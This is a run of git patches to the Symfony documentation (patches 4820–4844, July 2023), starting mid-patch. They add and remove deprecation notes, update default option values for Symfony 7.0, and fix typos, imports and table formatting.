-    Symfony 6.2 and the option will be removed in Symfony 7.0.
-
  .. _configuration-framework-http_method_override:
 
 http_method_override

From 950b472e3edaad0dff29869c361cdd6337b2c39f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 14:52:55 +0200
Subject: [PATCH 4820/7107] =?UTF-8?q?[Form]=C2=A0Deprecate=20not=20setting?=
 =?UTF-8?q?=20a=20value=20for=20widget=20option=20of=20date/time=20types?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../forms/types/options/date_widget_description.rst.inc      | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/forms/types/options/date_widget_description.rst.inc b/reference/forms/types/options/date_widget_description.rst.inc
index b86bdde5a0e..a60a24a3f83 100644
--- a/reference/forms/types/options/date_widget_description.rst.inc
+++ b/reference/forms/types/options/date_widget_description.rst.inc
@@ -10,3 +10,8 @@ following:
 
 * ``single_text``: renders a single input of type ``date``. User's input
   is validated based on the `format`_ option.
+
+.. deprecated:: 6.3
+
+    Not setting a value explicitly for this option is deprecated since Symfony 6.3
+    because the default value will change to ``single_text`` in Symfony 7.0.

From 1ef9746c19cb52993f6b706dd398e6ca2ae45a5d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 14:58:01 +0200
Subject: [PATCH 4821/7107] [Form] Update the default value of widget option in
 date/time types

---
 reference/forms/types/options/date_widget_description.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/date_widget_description.rst.inc b/reference/forms/types/options/date_widget_description.rst.inc
index b86bdde5a0e..956ad8c7148 100644
--- a/reference/forms/types/options/date_widget_description.rst.inc
+++ b/reference/forms/types/options/date_widget_description.rst.inc
@@ -1,4 +1,4 @@
-**type**: ``string`` **default**: ``choice``
+**type**: ``string`` **default**: ``single_text``
 
 The basic way in which this field should be rendered. Can be one of the
 following:

From dba6819cc13f53e24dd7aa699fe4b4fedf6c55da Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 15:03:53 +0200
Subject: [PATCH 4822/7107] Deprecate not setting a value for
 http_method_override option

---
 reference/configuration/framework.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0fc4f6223f6..64fa5884a7d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -196,6 +196,11 @@ The **default value** is:
 * ``false``, if you've created a new Symfony application or updated the Symfony
   Flex recipes. This is also the default value starting from Symfony 7.0.
 
+.. deprecated:: 6.1
+
+    Not setting a value explicitly for this option is deprecated since Symfony 6.1
+    because the default value will change to ``false`` in Symfony 7.0.
+
 .. seealso::
 
     :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of
@@ -219,7 +224,6 @@ The **default value** is:
         $request = Request::createFromGlobals();
         // ...
 
-
  .. _configuration-framework-http_method_override:
 
 trust_x_sendfile_type_header

From 623f7fba37ead125aa98d54f5452835fea78b14a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 15:32:57 +0200
Subject: [PATCH 4823/7107] [Translation] Deprecate the PhpExtractor

---
 reference/dic_tags.rst | 19 ++++++++++++++++---
 1 file changed, 16 insertions(+), 3 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index cdbb7788032..7b953e20e3c 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1071,9 +1071,22 @@ file
 
 When executing the ``translation:extract`` command, it uses extractors to
 extract translation messages from a file. By default, the Symfony Framework
-has a :class:`Symfony\\Bridge\\Twig\\Translation\\TwigExtractor` and a
-:class:`Symfony\\Component\\Translation\\Extractor\\PhpExtractor`, which
-help to find and extract translation keys from Twig templates and PHP files.
+has a :class:`Symfony\\Bridge\\Twig\\Translation\\TwigExtractor` and a PHP
+extractor to find and extract translation keys from Twig templates and PHP files.
+
+Symfony includes two PHP extractors: :class:`Symfony\\Component\\Translation\\Extractor\\PhpExtractor`
+and :class:`Symfony\\Component\\Translation\\Extractor\\PhpAstExtractor`. The
+first one is simple but doesn't require to install any packages; the second one
+is much more advanced, but requires to install this dependency in your project:
+
+.. code-block:: terminal
+
+    $ composer require nikic/php-parser
+
+.. deprecated:: 6.2
+
+    The ``PhpExtractor`` class is deprecated since Symfony 6.2. The ``PhpAstExtractor``
+    class will be the only PHP extractor available starting from Symfony 7.0.
 
 You can create your own extractor by creating a class that implements
 :class:`Symfony\\Component\\Translation\\Extractor\\ExtractorInterface`

From 16cb242026fa13653de2922dbed9a9194afb6348 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 15:39:43 +0200
Subject: [PATCH 4824/7107] [Twig] Remove the deprecated autoescape option

---
 reference/configuration/twig.rst | 31 -------------------------------
 1 file changed, 31 deletions(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index cc079da6745..d36584a7f6c 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -33,37 +33,6 @@ compiled again automatically.
 
 .. _config-twig-autoescape:
 
-autoescape
-~~~~~~~~~~
-
-.. deprecated:: 6.1
-
-    This option is deprecated since Symfony 6.1. If required, use the
-    ``autoescape_service`` or ``autoescape_service_method`` option instead.
-
-**type**: ``boolean`` or ``string`` **default**: ``name``
-
-If set to ``false``, automatic escaping is disabled (you can still escape each content
-individually in the templates).
-
-.. caution::
-
-    Setting this option to ``false`` is dangerous and it will make your
-    application vulnerable to `XSS attacks`_ because most third-party bundles
-    assume that auto-escaping is enabled and they don't escape contents
-    themselves.
-
-If set to a string, the template contents are escaped using the strategy with
-that name. Allowed values are ``html``, ``js``, ``css``, ``url``, ``html_attr``
-and ``name``. The default value is ``name``. This strategy escapes contents
-according to the template name extension (e.g. it uses ``html`` for ``*.html.twig``
-templates and ``js`` for ``*.js.twig`` templates).
-
-.. tip::
-
-    See `autoescape_service`_ and `autoescape_service_method`_ to define your
-    own escaping strategy.
-
 autoescape_service
 ~~~~~~~~~~~~~~~~~~
 

From 4dcc7b8e15a7dd4c29cad5fd561c09b2070c8580 Mon Sep 17 00:00:00 2001
From: rodmar35 <rodolphe.marsollier@gmail.com>
Date: Wed, 5 Jul 2023 18:10:19 +0200
Subject: [PATCH 4825/7107] Update entity.rst

Add "use Doctrine\ORM\QueryBuilder " dependencies else we have an error : "Return value must be of type App\Form\QueryBuilder, Doctrine\ORM\QueryBuilder returned"
---
 reference/forms/types/entity.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 71317b51da3..78c2b4dbf6c 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -53,6 +53,7 @@ the `query_builder`_ option::
 
     use App\Entity\User;
     use Doctrine\ORM\EntityRepository;
+    use Doctrine\ORM\QueryBuilder;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
     // ...
 

From 88408715d43bf8d3c16a7e17ef5a3812be078f54 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 5 Jul 2023 18:16:24 +0200
Subject: [PATCH 4826/7107] [Messenger] Remove remaining deprecations

---
 messenger.rst                | 12 ------------
 messenger/multiple_buses.rst |  3 ---
 2 files changed, 15 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 5a84e517415..95ae08a8ea8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1718,12 +1718,6 @@ during a request::
         }
     }
 
-.. versionadded:: 6.3
-
-    The namespace of the ``InMemoryTransport`` class changed in Symfony 6.3 from
-    ``Symfony\Component\Messenger\Transport\InMemoryTransport`` to
-    ``Symfony\Component\Messenger\Transport\InMemory\InMemoryTransport``.
-
 The transport has a number of options:
 
 ``serialize`` (boolean, default: ``false``)
@@ -2020,12 +2014,6 @@ A single handler class can handle multiple messages. For that add the
         }
     }
 
-.. deprecated:: 6.2
-
-    Implementing the :class:`Symfony\\Component\\Messenger\\Handler\\MessageSubscriberInterface`
-    is another way to handle multiple messages with one handler class. This
-    interface was deprecated in Symfony 6.2.
-
 Binding Handlers to Different Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 49e4d3e568e..42ff8dc85d4 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -133,9 +133,6 @@ you can restrict each handler to a specific bus using the ``messenger.message_ha
         services:
             App\MessageHandler\SomeCommandHandler:
                 tags: [{ name: messenger.message_handler, bus: command.bus }]
-                # prevent handlers from being registered twice (or you can remove
-                # the MessageHandlerInterface that autoconfigure uses to find handlers)
-                autoconfigure: false
 
     .. code-block:: xml
 

From 3114363e638d57e601ed9e2d5aa706a4a8397297 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 5 Jul 2023 21:43:02 +0200
Subject: [PATCH 4827/7107] Fix comma space

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index b81934520e9..d63648b40cb 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1534,7 +1534,7 @@ that requires HTTPlug dependencies::
     }
 
 Because :class:`Symfony\\Component\\HttpClient\\HttplugClient` implements the
-three interfaces,you can use it this way::
+three interfaces, you can use it this way::
 
     use Symfony\Component\HttpClient\HttplugClient;
 

From 48992b8c5f458f11cdbcdebf8fee7a3c5fd1339b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 6 Jul 2023 11:21:22 +0200
Subject: [PATCH 4828/7107] Add a missing import

---
 reference/forms/types/entity.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index a524e3e02d0..6bfff7cf296 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -53,6 +53,7 @@ the `query_builder`_ option::
 
     use App\Entity\User;
     use Doctrine\ORM\EntityRepository;
+    use Doctrine\ORM\QueryBuilder;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
     // ...
 

From db47478951f9f0aa3eb643a7a6864e9e2e569170 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 6 Jul 2023 13:08:03 +0200
Subject: [PATCH 4829/7107] [Serializer] Add needed method and return types

---
 serializer/custom_normalizer.rst | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 0168e0c7447..7534002da20 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -30,7 +30,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
         ) {
         }
 
-        public function normalize($topic, string $format = null, array $context = [])
+        public function normalize($topic, string $format = null, array $context = []): array
         {
             $data = $this->normalizer->normalize($topic, $format, $context);
 
@@ -42,10 +42,17 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
             return $data;
         }
 
-        public function supportsNormalization($data, string $format = null, array $context = [])
+        public function supportsNormalization($data, string $format = null, array $context = []): bool
         {
             return $data instanceof Topic;
         }
+
+        public function getSupportedTypes(?string $format): array
+        {
+            return [
+                Topic::class => true,
+            ];
+        }
     }
 
 Registering it in your Application

From a3c2a8d84a9e9b6f8434775cace41a7ab7187279 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 6 Jul 2023 13:37:45 +0200
Subject: [PATCH 4830/7107] [Lock] Mention `gcProbability` option and
 deprecation

---
 components/lock.rst | 18 ++++++++++++------
 1 file changed, 12 insertions(+), 6 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 79e14c33536..31a9baea334 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -460,7 +460,7 @@ avoid stalled locks::
 
     $mongo = 'mongodb://localhost/database?collection=lock';
     $options = [
-        'gcProbablity' => 0.001,
+        'gcProbability' => 0.001,
         'database' => 'myapp',
         'collection' => 'lock',
         'uriOptions' => [],
@@ -470,16 +470,22 @@ avoid stalled locks::
 
 The ``MongoDbStore`` takes the following ``$options`` (depending on the first parameter type):
 
-=============  ================================================================================================
-Option         Description
-=============  ================================================================================================
-gcProbablity   Should a TTL Index be created expressed as a probability from 0.0 to 1.0 (Defaults to ``0.001``)
+==============  ================================================================================================
+Option          Description
+==============  ================================================================================================
+gcProbability  Should a TTL Index be created expressed as a probability from 0.0 to 1.0 (Defaults to ``0.001``)
+gcProbablity   Same as ``gcProbability``, see the deprecation note below
 database       The name of the database
 collection     The name of the collection
 uriOptions     Array of URI options for `MongoDBClient::__construct`_
 driverOptions  Array of driver options for `MongoDBClient::__construct`_
 =============  ================================================================================================
 
+.. deprecated:: 6.3
+
+    The "gcProbablity" option (notice the typo in its name) is deprecated since
+    Symfony 6.3, use the "gcProbability" option instead.
+
 When the first parameter is a:
 
 ``MongoDB\Collection``:
@@ -879,7 +885,7 @@ about `Expire Data from Collections by Setting TTL`_ in MongoDB.
 .. tip::
 
     ``MongoDbStore`` will attempt to automatically create a TTL index. It's
-    recommended to set constructor option ``gcProbablity`` to ``0.0`` to
+    recommended to set constructor option ``gcProbability`` to ``0.0`` to
     disable this behavior if you have manually dealt with TTL index creation.
 
 .. caution::

From d8d96eabeba71e585f0bc3c4e751ec4cf2f0dd3b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 6 Jul 2023 15:46:35 +0200
Subject: [PATCH 4831/7107] Minor tweak

---
 components/lock.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 31a9baea334..293eaeed84e 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -483,8 +483,8 @@ driverOptions  Array of driver options for `MongoDBClient::__construct`_
 
 .. deprecated:: 6.3
 
-    The "gcProbablity" option (notice the typo in its name) is deprecated since
-    Symfony 6.3, use the "gcProbability" option instead.
+    The ``gcProbablity`` option (notice the typo in its name) is deprecated since
+    Symfony 6.3, use the ``gcProbability`` option instead.
 
 When the first parameter is a:
 

From fe05ab0d3d996d2b1499a8aa51fec74d92097514 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 08:45:40 +0200
Subject: [PATCH 4832/7107] [HttpClient] Remove mentions to RequestFactory

---
 http_client.rst | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index a6676e42fdd..6832c7999b2 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1503,26 +1503,24 @@ Let's say you want to instantiate a class with the following constructor,
 that requires HTTPlug dependencies::
 
     use Http\Client\HttpClient;
-    use Http\Message\RequestFactory;
     use Http\Message\StreamFactory;
 
     class SomeSdk
     {
         public function __construct(
             HttpClient $httpClient,
-            RequestFactory $requestFactory,
             StreamFactory $streamFactory
         )
         // [...]
     }
 
-Because :class:`Symfony\\Component\\HttpClient\\HttplugClient` implements the
-three interfaces, you can use it this way::
+Because :class:`Symfony\\Component\\HttpClient\\HttplugClient` implements these
+interfaces,you can use it this way::
 
     use Symfony\Component\HttpClient\HttplugClient;
 
     $httpClient = new HttplugClient();
-    $apiClient = new SomeSdk($httpClient, $httpClient, $httpClient);
+    $apiClient = new SomeSdk($httpClient, $httpClient);
 
 If you'd like to work with promises, :class:`Symfony\\Component\\HttpClient\\HttplugClient`
 also implements the ``HttpAsyncClient`` interface. To use it, you need to install the

From 77769de09eb2e1f2571d8b1c372e2d2e617087ea Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Jun 2023 16:29:12 +0200
Subject: [PATCH 4833/7107] [Doctrine] Deprecate Doctrine lifecycle subscribers

---
 doctrine/events.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 53a3dc5b32e..3a2c66cceac 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -110,6 +110,11 @@ define a callback for the ``prePersist`` Doctrine event:
 Doctrine Lifecycle Listeners
 ----------------------------
 
+.. deprecated:: 6.3
+
+    Lifecycle subscribers are deprecated starting from Symfony 6.3 and will be
+    removed in Symfony 7.0. Use lifecycle listeners instead.
+
 Lifecycle listeners are defined as PHP classes that listen to a single Doctrine
 event on all the application entities. For example, suppose that you want to
 update some search index whenever a new entity is persisted in the database. To

From e4f0386293dcdbae694ca7b16112276e4301b659 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 6 Jul 2023 18:57:16 +0200
Subject: [PATCH 4834/7107] [Lock] Remove deprecated option

---
 components/lock.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 293eaeed84e..f92d024aac8 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -474,18 +474,12 @@ The ``MongoDbStore`` takes the following ``$options`` (depending on the first pa
 Option          Description
 ==============  ================================================================================================
 gcProbability  Should a TTL Index be created expressed as a probability from 0.0 to 1.0 (Defaults to ``0.001``)
-gcProbablity   Same as ``gcProbability``, see the deprecation note below
 database       The name of the database
 collection     The name of the collection
 uriOptions     Array of URI options for `MongoDBClient::__construct`_
 driverOptions  Array of driver options for `MongoDBClient::__construct`_
 =============  ================================================================================================
 
-.. deprecated:: 6.3
-
-    The ``gcProbablity`` option (notice the typo in its name) is deprecated since
-    Symfony 6.3, use the ``gcProbability`` option instead.
-
 When the first parameter is a:
 
 ``MongoDB\Collection``:

From a7390b2f91883328773a949a65daf16c33e9a698 Mon Sep 17 00:00:00 2001
From: Guillaume Aveline <guillaume@codr.fr>
Date: Thu, 6 Jul 2023 21:53:55 +0200
Subject: [PATCH 4835/7107] Malformed table: content in "components/lock.rst"

---
 components/lock.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 293eaeed84e..491dc506833 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -473,13 +473,13 @@ The ``MongoDbStore`` takes the following ``$options`` (depending on the first pa
 ==============  ================================================================================================
 Option          Description
 ==============  ================================================================================================
-gcProbability  Should a TTL Index be created expressed as a probability from 0.0 to 1.0 (Defaults to ``0.001``)
-gcProbablity   Same as ``gcProbability``, see the deprecation note below
-database       The name of the database
-collection     The name of the collection
-uriOptions     Array of URI options for `MongoDBClient::__construct`_
-driverOptions  Array of driver options for `MongoDBClient::__construct`_
-=============  ================================================================================================
+gcProbability   Should a TTL Index be created expressed as a probability from 0.0 to 1.0 (Defaults to ``0.001``)
+gcProbablity    Same as ``gcProbability``, see the deprecation note below
+database        The name of the database
+collection      The name of the collection
+uriOptions      Array of URI options for `MongoDBClient::__construct`_
+driverOptions   Array of driver options for `MongoDBClient::__construct`_
+=============   ================================================================================================
 
 .. deprecated:: 6.3
 

From a3e5a060e970e0ec63183ac4fbd81871d958b95a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 15:35:41 +0200
Subject: [PATCH 4836/7107] [Translation] Update the PHP extraction information
 for Symfony 7.0

---
 reference/dic_tags.rst | 15 ++++-----------
 1 file changed, 4 insertions(+), 11 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 7b953e20e3c..b003ca683b2 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1071,23 +1071,16 @@ file
 
 When executing the ``translation:extract`` command, it uses extractors to
 extract translation messages from a file. By default, the Symfony Framework
-has a :class:`Symfony\\Bridge\\Twig\\Translation\\TwigExtractor` and a PHP
-extractor to find and extract translation keys from Twig templates and PHP files.
+has a :class:`Symfony\\Bridge\\Twig\\Translation\\TwigExtractor` to find and
+extract translation keys from Twig templates.
 
-Symfony includes two PHP extractors: :class:`Symfony\\Component\\Translation\\Extractor\\PhpExtractor`
-and :class:`Symfony\\Component\\Translation\\Extractor\\PhpAstExtractor`. The
-first one is simple but doesn't require to install any packages; the second one
-is much more advanced, but requires to install this dependency in your project:
+If you also want to find and extract translation keys from PHP files, install
+the following dependency to activate the :class:`Symfony\\Component\\Translation\\Extractor\\PhpAstExtractor`:
 
 .. code-block:: terminal
 
     $ composer require nikic/php-parser
 
-.. deprecated:: 6.2
-
-    The ``PhpExtractor`` class is deprecated since Symfony 6.2. The ``PhpAstExtractor``
-    class will be the only PHP extractor available starting from Symfony 7.0.
-
 You can create your own extractor by creating a class that implements
 :class:`Symfony\\Component\\Translation\\Extractor\\ExtractorInterface`
 and tagging the service with ``translation.extractor``. The tag has one

From 699a89fa7c1f7b694171287634c3d8e90e2b58c8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 15:05:23 +0200
Subject: [PATCH 4837/7107] Update the default value of the
 http_method_override option

---
 reference/configuration/framework.rst | 14 +-------------
 1 file changed, 1 insertion(+), 13 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 03f46ae6d31..d7431bb264d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -172,7 +172,7 @@ Cache-Control extension (see RFC 5861).
 http_method_override
 ~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: (see explanation below)
+**type**: ``boolean`` **default**: ``false``
 
 This determines whether the ``_method`` request parameter is used as the
 intended HTTP method on POST requests. If enabled, the
@@ -180,18 +180,6 @@ intended HTTP method on POST requests. If enabled, the
 method gets called automatically. It becomes the service container parameter
 named ``kernel.http_method_override``.
 
-The **default value** is:
-
-* ``true``, if you have an existing application that you've upgraded from an older
-  Symfony version without resyncing the :doc:`Symfony Flex </setup/flex>` recipes;
-* ``false``, if you've created a new Symfony application or updated the Symfony
-  Flex recipes. This is also the default value starting from Symfony 7.0.
-
-.. deprecated:: 6.1
-
-    Not setting a value explicitly for this option is deprecated since Symfony 6.1
-    because the default value will change to ``false`` in Symfony 7.0.
-
 .. seealso::
 
     :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of

From c34c5cb9320dd3a66e48ee7bdd1a16d1006e2789 Mon Sep 17 00:00:00 2001
From: Maxime Pinot <contact@maximepinot.com>
Date: Fri, 7 Jul 2023 12:08:46 +0200
Subject: [PATCH 4838/7107] [Testing] Mention the
 `KernelBrowser::disableReboot` method

---
 testing.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/testing.rst b/testing.rst
index fb041937052..8a5a7b904c8 100644
--- a/testing.rst
+++ b/testing.rst
@@ -622,6 +622,7 @@ This allows you to create all types of requests you can think of:
     Also, it means that entities loaded by Doctrine repositories will
     be "detached", so they will need to be refreshed by the manager or
     queried again from a repository.
+    You can disable this behavior by calling the :method:`disableReboot() <Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::disableReboot>` method.
 
 Browsing the Site
 .................

From 23a08b9b5d20176d5e3378146a785c308bd5a53d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 7 Jul 2023 14:30:20 +0200
Subject: [PATCH 4839/7107] Fixing typo

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index bafc2671c2b..a39df3496ba 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -34,7 +34,7 @@ To install the AssetMapper component, run:
 
     $ composer require symfony/asset-mapper symfony/asset symfony/twig-pack
 
-In addition to ``symfony/asset-mapper`, this also makes sure that you have the
+In addition to ``symfony/asset-mapper``, this also makes sure that you have the
 :doc:`Asset Component </components/asset>` and Twig available.
 
 If you're using :ref:`Symfony Flex <symfony-flex>`, you're done! The recipe just

From 1cd266d57342c4b6a51c8dcca67af8d79bb22d58 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 7 Jul 2023 14:38:09 +0200
Subject: [PATCH 4840/7107] Importmaps => import maps

That's the official spelling, see https://html.spec.whatwg.org/multipage/webappapis.html#import-maps

Besides, this sounded weird:
> Importmaps is a native browser feature.
---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index bafc2671c2b..bdcd2dc85b1 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -267,9 +267,9 @@ outputs an `importmap`_:
         }
     }</script>
 
-Importmaps is a native browser feature. It works in all browsers thanks to
+Import maps are a native browser feature. They work in all browsers thanks to
 a "shim" file that's included automatically by the AssetMapper component
-(all *modern* browsers `support it natively <https://caniuse.com/import-maps>`_).
+(all *modern* browsers `support them natively <https://caniuse.com/import-maps>`_).
 
 When you import ``bootstrap`` from your JavaScript, the browser will look at
 the ``importmap`` and see that it should fetch the package from the URL.

From ed1a2de8a66ad8c86b977265b174ea8dc59ea9d2 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 7 Jul 2023 14:42:04 +0200
Subject: [PATCH 4841/7107] Minor

Page: https://symfony.com/doc/current/frontend/asset_mapper.html
---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index bafc2671c2b..b7761556693 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -289,7 +289,7 @@ Preloading and Initializing "app.js"
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In addition to the importmap, the ``{{ importmap() }}`` Twig function also renders
-an `es module shim`_ and a few other things, like a set of "preloads":
+an `ES module shim`_ and a few other things, like a set of "preloads":
 
 .. code-block:: html
 
@@ -1127,7 +1127,7 @@ This will force the AssetMapper component to re-calculate the content of all fil
 .. _npm package: https://www.npmjs.com
 .. _importmap: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap
 .. _bootstrap: https://www.npmjs.com/package/bootstrap
-.. _es module shim: https://www.npmjs.com/package/es-module-shims
+.. _ES module shim: https://www.npmjs.com/package/es-module-shims
 .. _jsdelivr.com: https://www.jsdelivr.com/
 .. _highlight.js: https://www.npmjs.com/package/highlight.js
 .. _class syntax: https://caniuse.com/es6-class

From bf3857111f5bfb49caee73160cf2c6b9655a6f31 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 7 Jul 2023 16:26:28 +0200
Subject: [PATCH 4842/7107] Minor

Probably necessary after https://github.com/symfony/symfony-docs/pull/18533
---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 57a88f77f23..b7ca7a8a1c9 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -693,7 +693,7 @@ Does the AssetMapper Component work in All Browsers?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Yup! Features like importmaps and the ``import`` statement are supported
-in all modern browsers, but the AssetMapper component ships with an `es module shim`_
+in all modern browsers, but the AssetMapper component ships with an `ES module shim`_
 to support ``importmap`` in old browsers. So, it works everywhere (see note
 below).
 

From 6009a47525271d52e3c42ed8c4766b196ca184b2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 7 Jul 2023 19:59:28 +0200
Subject: [PATCH 4843/7107] [Lock] Fix RST syntax

---
 components/lock.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 293eaeed84e..b504abbfc74 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -470,9 +470,9 @@ avoid stalled locks::
 
 The ``MongoDbStore`` takes the following ``$options`` (depending on the first parameter type):
 
-==============  ================================================================================================
-Option          Description
-==============  ================================================================================================
+=============  ================================================================================================
+Option         Description
+=============  ================================================================================================
 gcProbability  Should a TTL Index be created expressed as a probability from 0.0 to 1.0 (Defaults to ``0.001``)
 gcProbablity   Same as ``gcProbability``, see the deprecation note below
 database       The name of the database

From e2968569ccb2539825a71ad13945cd959d120fdb Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 7 Jul 2023 15:50:41 +0200
Subject: [PATCH 4844/7107] Minor typo

---
 contributing/documentation/format.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index f6492ec4277..8df3fb45610 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -21,7 +21,7 @@ tutorial and the `reStructuredText Reference`_.
     If you are familiar with Markdown, be careful as things are sometimes very
     similar but different:
 
-    * Lists starts at the beginning of a line (no indentation is allowed);
+    * Lists start at the beginning of a line (no indentation is allowed);
     * Inline code blocks use double-ticks (````like this````).
 
 Sphinx

